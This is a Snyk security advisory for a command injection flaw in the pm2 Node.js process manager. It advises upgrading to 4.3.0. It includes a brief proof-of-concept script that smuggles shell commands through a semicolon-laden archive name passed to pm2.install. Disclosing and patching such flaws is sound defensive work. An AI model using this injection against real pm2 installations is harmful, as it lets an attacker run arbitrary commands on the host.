Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade pm2
to version 4.3.0 or higher.
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import()
function when tar.gz
archive is installed with a name provided as user controlled input.
// pm2_exploit.js
'use strict' const pm2 = require('pm2')
// payload - user controllable input const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"
pm2.connect(function(err) { if (err) { console.error(err) process.exit(2) }
pm2.start({ }, (err, apps) => { pm2.install(payload, {}) // injection pm2.disconnect() if (err) { throw err } })
})